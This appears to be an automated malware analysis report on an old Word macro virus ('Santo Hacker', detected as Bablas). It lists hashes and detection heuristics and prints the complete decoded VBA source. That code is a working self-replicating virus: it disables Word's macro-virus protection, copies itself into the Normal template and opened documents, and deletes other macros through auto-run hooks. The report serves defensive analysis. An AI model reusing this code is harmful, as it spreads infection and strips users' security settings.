Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 17ba959fee44fd11…

MALICIOUS

Office (OLE)

35.5 KB Created: 2001-04-24 17:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0b88c0f4f22f85a8f0a134aed1cab386 SHA-1: b3ad4e8ff06a1641ce26c0b959728ef69c000a46 SHA-256: 17ba959fee44fd1124d72d3340d01da93373a809fd49c9e0598e646e658f2529
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose, which are indicative of older malware techniques. The 'ShowMessage' subroutine displays a lengthy, emotional message to the user, potentially as a distraction or social engineering tactic. The 'ToolsMacro' subroutine attempts to bypass security by disabling virus protection and prompts for a password to access the VBA editor, suggesting an intent to hide or protect malicious code.

Heuristics 6

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5609 bytes
SHA-256: 56685f0fda8cd0e8a0c6f0a54bf7cc11489297be68c760ede43d3f13fb1ebe7e
Detection
ClamAV: Doc.Trojan.Bablas-16
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SANTO"
'Andai saja dia tahu gue sayang banget ama dia
'mungkin gue 'nggak bakalan buat program kayak gini
'yang mungkin nyebelin
'salam manis dari Iiq

Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbSaturday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("dalam sekejap gue gak tau kudu gimana padahal semuanya tlah kucoba" & Chr(34) & _
    "terus terang" & Chr(34) & "," & Chr(13) & "gue gak bakalan ngelupain lo" & Chr(13) & _
    "dalam benak dalam dada dan jiwa gue yg ada hanya lo" & Chr(13) & _
    "kapan gue ketemu lo lagi" & Chr(13) & Chr(13) & "salam dari..: SANTO ANTHONIUS." & _
    Chr(13) & "(tlah kutempuh perjalanan tapi sia-sia)", vbOKOnly + vbExclamation, "Broken Hate : IIQ")
    End If
End Sub

Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    If InputBox("Masukin Kata Sandinya...", "Santo Hacker") = "IIQ NU KASEP THEA" Then Application.ShowVisualBasicEditor = True
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Ochang Euy..." & Chr(13) & Chr(13) & _
    "Gue enggak mao komputer gue ERROR, but maapin gue", vbOKOnly + vbExclamation, "Santo Hacker")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = False
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "Santo Hacker telah aktif di file anda "
    ActiveWindow.Caption = "(maapin iiq)"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Masukin Kata Sandinya...", "Santo Hacker") = "IIQ NU KASEP THEA" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "SANTO" Then DocOk = True
        If Obj.Name <> "SANTO" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Copying Santo Hacker From Normal Template to " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="SANTO", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "SANTO" Then NorOk = True
        If Obj.Name <> "SANTO" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Copying Santo Hacker From " + ActiveDocument.Name + _
        " to Normal Template..."
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="SANTO", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
    End If
    RestoreCap
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Bablas
    ChangeCap
    SikatTemplate
    On Error Resume Next
    NormalTemplate.Save
    RestoreCap
End Sub

Sub AutoClose()
    'SikatDocument
End Sub

Sub FileClose()
    'AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = True Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Ancurin()
    C = Documents.Count
    If C <> 0 Then
        Normal.SANTO.SikatDocument
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.SANTO.Ancurin"
    End If
End Sub

Sub AutoExec()
    WordBasic.DisableAutoMacros False
    Bablas
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.SANTO.Ancurin"
End Sub

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